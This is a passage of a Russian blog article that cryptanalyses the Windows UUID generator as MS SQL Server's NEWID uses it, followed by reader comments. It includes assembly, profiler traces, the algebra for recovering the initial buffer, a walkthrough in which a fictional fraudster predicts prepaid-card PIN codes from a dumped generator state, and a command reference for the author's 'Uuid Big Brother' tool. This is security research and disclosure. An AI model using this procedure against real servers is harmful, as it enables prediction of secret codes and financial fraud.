mov ebp, esp

push esi

push [ebp+lp] ; Uuid

call ds:__imp__UuidCreate@4 ; UuidCreate(x)

mov esi, eax

cmp esi, 720h

jz short loc_776A5659

test esi, esi

jnz loc_776EDF0E

loc_776A5659:

xor eax, eax

loc_776A565B:

pop esi

pop ebp

retn 4

_CoCreateGuid@4 endp

Следующим шагом необходимо выяснить, чем инициализируется буфер I_i до выполнения UuidCreate. Для этого нам потребуется SQL Internals Profiler — инструмент, разработанный Яном Либерманом и незаменимый в тех случаях, когда нужно собрать статистику по вызовам внутренних функций MS SQL Server. Сейчас, в частности, нас будут интересовать значения, передаваемые по указателю pguid в CoCreateGuid.

-- Включаем перехват функции CoCreateGuid методом сплайсинга

exec xp_SQLInternalsProfiler_AddSource_Splicing 'ole32.dll', 'CoCreateGuid', 'hpg1;-', 1

В переводе с либерманского, фраза 'hpg1;-' звучит примерно так: «Первый параметр (1) функции является ссылкой (p) на архиважное значение длиной 16 байт (h), которое нужно перехватить ещё до вызова CoCreateGuid (;-). Сгруппировать результаты по уникальным значениям (g)». Желающим освоить этот язык могу порекомендовать отличный русско-либерманский разговорник [14,15].

Посмотрим, как ведёт себя NEWID, если обращаться к ней периодически:

-- Сбрасываем накопленную статистику

exec xp_SQLInternalsProfiler_ClearAll

print NEWID()

waitfor delay '00:00:05'

print NEWID()

waitfor delay '00:00:05'

print NEWID()

waitfor delay '00:00:05'

print NEWID()

waitfor delay '00:00:05'

print NEWID()

-- Выводим результат

EXECUTE xp_SQLInternalsProfiler_Results 147

У меня получилась следующая картина (SQL Server 2008 CTP5):

source_name	event_id	binary_grpup_id	count
ole32.dll CoCreateGuid	Before_call	0xF9E30A013061AE0400000000C061AE04	1
ole32.dll CoCreateGuid	Before_call	0xF9E30A013863AE0400000000C863AE04	1
ole32.dll CoCreateGuid	Before_call	0xF9E30A014065AE0400000000D065AE04	1
ole32.dll CoCreateGuid	Before_call	0xF9E30A014867AE0400000000D867AE04	1
ole32.dll CoCreateGuid	Before_call	0xF9E30A015069AE0400000000E069AE04	1

Мы видим, что I_i (поле binary_grpup_id) изменялось каждый раз, когда вызывалась функция NEWID, хотя разница в значениях и не столь велика — всего лишь 25% (4 байта из 16, выделены жирным). Сервер не утруждает себя инициализацией *pguid, поэтому в CoCreateGuid постоянно передаётся «мусор». Так, например, двойное слово 0xF9E30A01 представляет собой адрес возврата из CreateExecValSeg:

010AE3F4 call CEsCompValSeg::CreateExecValSeg

010AE3F9 pop edi

…

Или вот ещё забавная арифметика (вычитаем второе двойное слово из четвёртого):

0x04AE61C0 – 0x04AE6130 = 0x90

0x04AE63C8 – 0x04AE6338 = 0x90

0x04AE65D0 – 0x04AE6540 = 0x90

…

Обнаруженная корреляция снижает уровень энтропии I_i вдвое (с 2³² до 2¹⁶), поскольку число независимых неизвестных сократилось. Не стоит сбрасывать со счетов и закономерность «по вертикали» (вычитаем второе двойное слово на i+1-итерации из него же на i-итерации):

0x04AE6338 - 0x04AE6130 = 0x208

0x04AE6540 - 0x04AE6338 = 0x208

0x04AE6748 - 0x04AE6540 = 0x208

…

Значит, если мы узнаем I_i, то легко сможем вычислить I_i₊₁. Причём у любого I_i непредсказуемыми остаются всего 2 байта.

Перезапустим MS SQL Server и повторим эксперимент:

source_name	event_id	binary_grpup_id	count
ole32.dll CoCreateGuid	before_call	0xF9E30A0130E1840600000000C0E18406	1
ole32.dll CoCreateGuid	Before_call	0xF9E30A0138E3840600000000C8E38406	1
ole32.dll CoCreateGuid	Before_call	0xF9E30A0140E5840600000000D0E58406	1
ole32.dll CoCreateGuid	Before_call	0xF9E30A0148E7840600000000D8E78406	1
ole32.dll CoCreateGuid	Before_call	0xF9E30A0150E9840600000000E0E98406	1

Новые результаты свидетельствуют о том, что неизменными остаются 8 байт, а корреляции сохраняются и после перезапуска.

Разумеется, всецело полагаться на эти наблюдения было бы чересчур опрометчиво. Давайте попытаемся смоделировать ситуацию, когда Uuid-идентифиакторы не только создаются, но и вставляются в поле таблицы:

createtable #pin_codes (

id int identity

, pin_code varchar(36)

)

-- Сбрасываем накопленную статистику

exec xp_SQLInternalsProfiler_ClearAll

declare

@i int = 0

while (@i != 10000) begin

insert #pin_codes values(newid())

set @i += 1

end

-- Выводим результат

EXECUTE xp_SQLInternalsProfiler_Results 147

Оказывается, любое использование NEWID в циклических операциях (не обязательно при вставке в таблицу) демонстрирует завидное постоянство значений I_i. За 10 000 итераций оно изменилось лишь единожды!

source_name	event_id	binary_grpup_id	count
ole32.dll CoCreateGuid	Before_call	0x0000000000000000B4F5C36200000000	9999
ole32.dll CoCreateGuid	Before_call	0x00000000FFFFFFFF00000000FA700201	1

Очень маловероятно, что PIN-коды к картам экспресс-оплаты генерировались «поштучно», как в первом эксперименте. Поэтому асоциальный элемент Мудилов по достоинству оценит этот подарок судьбы. Впрочем, совокупная энтропия множества {I₁, I₂, … I_n} в обоих случаях будет одинаковой — 2³². Можно было бы упомянуть и о других способах вызова NEWID, но практически все они (есть исключения, врать не стану) сводятся либо к статистике, собранной в эксперименте с wait for, либо к результатам упражнения с циклом. Аналогичные тесты для MS SQL Server 2000/2005 обнаруживают примерно те же корреляции.

При одиночных обращениях к NEWID мы наблюдаем «вертикальную» закономерность, позволяющую нам по I_i рассчитать {I_i₊₁, I_i₊₂, … I_i₊_n}. А если функция использовалась в цикле, то I_i = I_i₊₁ = I_i₊₁ = … = I_i₊_n. Следовательно, чтобы восстановить всю последовательность, злоумышленнику необходимо вычислить хотя бы одно значение I_i. И здесь ему на помощь приходит свойство обратимости операции XOR. В алгоритме генератора присутствует этап, где между гаммой RC4 O_i и значением I_i выполняется исключающее ИЛИ:

C_i = O_i XOR I_i => I_i = O_i XOR C_i

U_i[1..6] = C_i[1..6]

U_i[7] = (C_i[7] & 0x0F) | 0x40

U_i[8] = C_i[8]

U_i[9] = (C_i[9] & 0x3F) | 0x80

U_i[10..16] = C_i[10..16]

Введём I’_i = O_i XOR U_i, где I’_i отличается от I_i несколькими битами в 7 и 9 байтах.

Покажем, что замена I_i на I’_i в прямых вычислениях даёт то же самое значение U_i:

C’_i = O_i XOR I’_i

C’_i[1..6] = C_i[1..6] = U_i[1..6]; C’_i[8] = C_i[8] = U_i[8]; C’_i[10..16] = C_i[10..16] = U_i[10..16];

C’_i[7] ≠ C_i[7]; C’_i[9] ≠ C_i[9], но

U’_i[7] = (C’_i[7] & 0x0F) | 0x40 = (C_i[7] & 0x0F) | 0x40 = U_i[7]

U’_i[9] = (C’_i[9] & 0x3F) | 0x80 = (C_i[9] & 0x3F) | 0x80 = U_i[9]

Значит U’_i = U_i и замена I’_i на I_i является правомочной.

Предположим, Мудилов купил в ближайшем ларьке одну карту оплаты и под защитным слоем нашёл PIN-код U_k. Наши выкладки помогут ему рассчитать I_k_,только если он знает, на какой итерации Uuid-генератора был получен данный PIN-код. Другими словами, Мудилов должен знать k. Эту проблему можно решить, прибегнув к перебору значений O_i, выдаваемых генератором в интервале между двумя полными обновлениями состояния [T₁;T₂]. И теперь уже Василию придётся раскошелиться не на одну, а на целых три карты оплаты (PIN-коды P_x, P_y и P_z).

BOOL InOrder = FALSE;

Для i от 1 до 250 000 {

Для j от 1 до 250 000 {

Если (O_i XOR P_x) == (O_j XOR P_y) {

// Возможно x = i, y = j

Для k от 1 до 250 000 {

Если (O_i XOR P_x) == (O_k XOR P_z) {

// x = i, y = j, z = k

// I_i = I_j = I_k = (O_i XOR P_x)

InOrder = TRUE;

}

Если (!InOrder) {

// x = j, y = i, z = k

// I_i = I_j = I_k = (O_i XOR P_y)

}

Метод основывается на допущении, что с каждым последующим вызовом UuidCreate значение I_i не изменяется. Однако эту же идею легко адаптировать на случай, когда у I_i остаются постоянными всего несколько байт. Например, для одиночных обращений к NEWID достаточно трактовать знак '=' как равенство 8 любых байт значения из 16. Ограничившись лишь частью I_i, мы по большому счёту ничем не рискуем, поскольку вероятность существования O_i и O_j таких, что (O_i XOR P_x)=^[8](O_j XOR P_x) при i ≠ j ничтожно мала.

Величины, удовлетворяющие условию (O_i XOR P_x) = (O_j XOR P_y), будут также удовлетворять (O_i XOR P_y) = (O_j XOR P_x), причём (O_i XOR P_x) ≠ (O_i XOR P_y). Чтобы определить, какой из двух вариантов является верным, необходимо совершить ещё одну утреннюю пробежку по множеству {O_i}:

Если (O_i XOR P_x) = (O_k XOR P_z), тогда правильным ответом будет I_i = (O_i XOR P_x)
Если не нашлось ни одного O_k, где бы это соотношение выполнялось, значит I_i = (O_i XOR P_y).

Поставим следственный эксперимент, где выступим в роли Васи Мудилова.

На машине с работающим экземпляром MS SQL Server 2000/2005/2008 найдите в Диспетчере задач (Task Manager) процесс sqlservr.exe и запомните его идентификатор (пусть это будет PID = 1508).
Снимите с помощью Uuid Big Brother дамп состояния генератора и сохраните в файл sqlservr.dmp:

ubb –d1508 "c:\ubb\sqlservr.dmp"

Эти два шага Мудилов должен был проделать 14 апреля, накануне процедуры генерации PIN-кодов.

Спустя какое-то время смоделируйте создание «случайных» PIN-кодов к картам оплаты (по сценарию заполнение таблицы Uuid-идентификаторами проводят «Белые воротнички», а Василий в этот момент находится на корпоративной вечеринке):

createtable #pin_codes (

id int identity

, pin_code varchar(36)

)

set nocount on

declare

@i int

set @i = 0

while (@i != 10000) begin

insert #pin_codes values(newid())

set @i = @i + 1

end

Возьмите три любых значения таблицы #pin_codes и сохраните в файл known_uuid.txt. Не переживайте за Мудилова. 16 апреля он купил три карточки новой серии и занёс в known_uuid.txt обнаруженные под защитным слоем PIN-коды.

Каждое значения должно располагаться на новой строке.

Запустите на другом компьютере утилиту UBB, предварительно скопировав туда sqlservr.dmp и known_uuid.txt.

ubb -g -ik"known_uuid.txt" -ab8 -of"pins.txt" "sqlservr.dmp"

----------------------------------

Analysis started. Press <Ctrl>+<Break> to abort.

Analyzing...|

Known UUID #1 index: 1594

Known UUID #1: 9EF15183-EFB9-4FCC-B9A5-5321E7A15385

Gen output #1: 9EF15183-EFB9-4FCC-8D50-0742E7A15385

Initial val #1: 00000000-0000-0000-34F5-546300000000

Known UUID #2 index: 73

Known UUID #2: 7D7EE0E8-3BE3-409D-B56B-BF6118F48C33

Gen output #2: 7D7EE0E8-3BE3-409D-819E-EB0218F48C33

Initial val #2: 00000000-0000-0000-34F5-546300000000

Known UUID #3 index: 6101

Known UUID #3: 7F7DF678-FD5A-418F-BBC2-289031D79174

Gen output #3: 7F7DF678-FD5A-418F-8F37-7CF331D79174

Initial val #3: 00000000-0000-0000-34F5-546300000000

Common initial: 00000000-0000-0000-34F5-546300000000

Uuids was successfully saved to file pins.txt.

Назначение параметров

-g: рассчитать последующий выход генератора относительно состояния, сохранённого в файле sqlservr.dmp.

-of"pins.txt": предсказанные Uuid-идентификаторы вывести в pins.txt.

-ik"known_uuid.txt": I_i необходимо вычислить по трём известным Uuid-значениям, которые содержатся в файле known_uuid.txt.

-ab8: если любые 8 байт I_x совпадают с любыми 8 байтами I_y, значит I_x = I_y. Чем больше величина параметра, тем дольше выполняется поиск I_i. Но я не рекомендую указывать менее 8.

Интерпретация результата

Known UUID #n: строка n в файле known_uuid.txt.

Known UUID #n index: порядковый номер i вызова UuidCreate с того момента, как был снят «слепок» состояния генератора.

Gen output #n: O_i, соответствующее данному P_i.

Initial val #n: I_i, соответствующее данному P_i.

Проверьте, насколько точны предсказания. Выберите из таблицы первое понравившееся значение и поищите его в файле pins.txt.

Приложение А. Поставь тачку на закачку

Консольная утилита Uuid Big Brother должна использоваться исключительно в учебно-познавательных и лечебно-оздоровительных целях. Автор не несёт никакой ответственности за возможный вред, прямо или косвенно причинённый с её помощью.

Скачать утилиту вместе с инсталлятором

Скачать утилиту без инсталлятора (консоль + VC runtime-библиотека)

Описание параметров и советы по применению вы можете найти в Приложении Б.

Cкачать инсталлятор

Руководство и описание

Примеры использования

Приложение Б. Параметры утилиты Uuid Big Brother

Чтобы утилита смогла получить беспрепятственный доступ к памяти внешнего процесса её необходимо запускать от имени учётной записи, обладающей полномочиями Debug Programs (например, от имени локального системного администратора).

Общий синтаксис

ubb [<switches>…] <dump_file>

Вывод справочной информации

Ключ	Описание	Пример
-h	Выводит в консоль описание параметров утилиты.	ubb –h
-e	Выводит в консоль примеры использования утилиты.	ubb –e

Комбинирование информационных ключей с остальными параметрами не допускается.

Дамп состояния генератора

Ключ	Описание	Пример
-d{Process id} <dump_file>	Снимает с указанного процесса дамп состояния Uuid-генератора и сохраняет его в файл dump_file. Значение {Process Id} целевого процесса соответствует значению в колонке PID Диспетчера задач (Task Manager).	ubb –d1234 uuid_state.dmp
-b	Отображает отладочную информацию. Может использоваться только с ключом –d.	ubb –d1234 –b uuid_state.dmp

Если не все экземпляры RC4 инициализированы процессом (было произведено менее 8 обращений к UuidCreate за время его работы), вы получите сообщение:

Warning: not all of the RC4 instances were initialized. Please, initiate 8 UUIDs generation.

Это предупреждение означает, что в файл дампа сохранено состояние только тех экземпляров, которые к моменту записи уже инициализированы и, следовательно, их выход является предопределённым. Последовательность UUID-значений, предсказанных утилитой на основании неполного дамп-файла, будет содержать «пропуски». Зачастую, такая ситуация возникает в самом начале работы целевого процесса или в ситуациях, когда процесс очень редко вызывает UuidCreate.

В случае успешного выполнения операции выводится сообщение:

State was successfully dumped to file <dump_file>.

Анализ состояния генератора и предсказание значений

Ключ	Описание	Пример
-g{f<cnt>\|b<cnt>} <dump_file>	Загружает состояние генератора из dump_file и вычисляет относительно него первые cnt последующих (f) или предыдущих (b) UUID-значений. Если параметр cnt не задан или равен 0, UBB рассчитает всю возможную последовательность значений. Вычисления будут продолжаться до тех пор, пока счётчик байт выхода у каждого экземпляра RC4 (Accumulator) не станет равен 0 (флаг b) или 500 000 (для флага f). Если ключ –g указан без дополнительных параметров, то будут действовать значения по умолчанию, а именно: -gf0.	ubb –gf35 uuid_state.dmp
-o{c<display_count>\|f<uuids_file>}	Определяет, куда выводить рассчитанную последовательность UUID-значений. c<display_count> — выводит найденные UUID в консоль порциями по display_count значений, ожидая после каждой порции нажатия любой клавиши. По умолчанию параметр display_count равен 8. f<uuids_file> — сохраняет рассчитанную последовательность в текстовый файл uuid_file. Если параметры ключа –o не заданы, по умолчанию будут действовать значения: -oc8.	Вывод в консоль: ubb –gf100 –oc25 uuid_state.dmp Вывод в файл: ubb –gf100 –of”uuids.txt” uuid_state.dmp
-i{0x<value>\|k<known_uuid_file>}	Позволяет задать или рассчитать значение I_i, которым инициализируется параметр Uuid перед вызовом функции UuidCreate(Uuid). 0x<value> — присваивает всем 16 байтам I_i значение value (I_i[1]=I_i[2]=…=I_i[16]= value). value не должно превышать 0xFF. k<known_uuid_file> — вычисляет I_i по трём известным Uuid-значениям, указанным в файле known_uuid_file. Каждое значение нужно располагать на новой строке (разделитель 0x0D0A). Если параметр не указан, по умолчанию действует опция –i0x0.	Все байты I_i равны 0xFF: ubb -g –i0xFF "sqlservr.dmp" Ii необходимо вычислить по трём известным P_x, P_y, P_z: ubb -g -ik"known_uuid.txt" "sqlservr.dmp"
-au{<uuid_count>}	Ограничивает число Uuid-значений, которые используются для вычисления I_i. Этот ключ имеет смысл указывать только в комбинации с -ik<known_uuid_file>. По умолчанию uuid_count = 250 000.	ubb -g -ik"known_uuid.txt" –au7500 "sqlservr.dmp"
-ab{<collisions>}	Определяет точность оператора сравнения при подборе I_i. I_x = I_y, если у них совпадают любые collisions байт. Число collisions не должно превышать 16. По умолчанию оно равно 8.	Считать I_x = I_y, если любые 10 байт I_x совпадут с любыми 10 байтами I_y: ubb -g -ik"known_uuid.txt" –ab10 "sqlservr.dmp"

Приложение В. Исследованные версии библиотеки rpcrt4.dll

Операционная система	Версия библиотеки rpcrt4.dll
Windows Server 2003 5.2.3790 Service Pack 2 Build 3790	5.2.3790.3959
Windows XP 5.1.2600 Service Pack 2 Build 2600	5.1.2600.2180
Windows Vista 6.0.6000 Build 6000	6.0.6000.16386
Windows Server 2008 6.0.6001 Beta 3, v.126 Build 6001	6.0.6001.16510
Windows Server 2008 6.0.6001 Build 6001	6.0.6001.18000

Ссылки и список литературы

denish

23.06.2008 22:28

Комментариев:12 RSS Просмотров:12878

Теги: Programming, Security, SQL, system development

Rail Sabirov

24.06.2008 5:30

спасибо за столь подробное и глубокое иследование проблемы!

Николай, респект!

Ссылка

марат бакиров

24.06.2008 6:05

Коля, просто жжешь :)

Ссылка

Евгений Веприков

24.06.2008 7:08

Самый крутой из известных мне алгоритмов получения списка случайных чисел, включение семистора в обратном направлении и запись его шумов. И быстро, и не повторишь :)

Ссылка

maxdm

24.06.2008 9:26

Респект, грамотная статья.

Ссылка

Nikolay Denishchenko

24.06.2008 12:24

2Евгений Веприков

Я планировал включить в статью раздел, посвящённый детерминизму алгоритмов в аппаратном исполнении, но впоследствии решил от этой идеи отказаться (не хотелось далеко уходить от первоначальной темы — собственно, самого Uuid-генератора). Ещё была мысль пофилософствовать о природе случайности как таковой, разобрав несколько парадоксов квантовой механики (например, эффекты GHZ-корреляции). Эту идею я также отбросил, поскольку не было уверенности, что большинство читателей "осилят". В общем, конкретно насчёт семистора, включённом в обратном направлении, сказать ничего не могу, но проблем у ГПСЧ в "железе", пожалуй, не меньше, чем у их софтверных собратьев ;)

Ссылка

Евгений Веприков

24.06.2008 13:01

2 Nikolay Denishchenko
Ну я не случайно написал про семистор. Просто мне известно, что в одном институте такой подход использовали для сложных научных расчетов, где ПСЧ должна была быть как можно "более случайна". Минимальные измения внешних факторов очень сильно влияли на результат во время генерации. Подделать невозможно....

P. S.
Хотя Альберт Эйнштейн, не верил, что Господь играет со Вселенной в кости, тоесть полагал что все можно рассчитать. И я к тому склоняюсь :)

Ссылка

Sergey Zwezdin

01.07.2008 12:01

Коля, +1.
И познавательно, и литературный стиль соблюден :)
Молодец!

Ссылка

Nikolay Denishchenko

02.07.2008 19:48

2Sergey Zwezdin

Серёга, спасибо! Заодно, пользуясь случаем, поздравляю тебя со статусом MVP. Молоток! ;)

Ссылка

Sergey Zwezdin

11.08.2008 16:25

Спасибо :)

Ссылка

Устройство и криптоанализ UUID-генератора в ОС Windows

Устройство и криптоанализ UUID-генератора в ОС Windows

Nikolay Denishchenko

(none)

Облако тегов

Записи

Блоги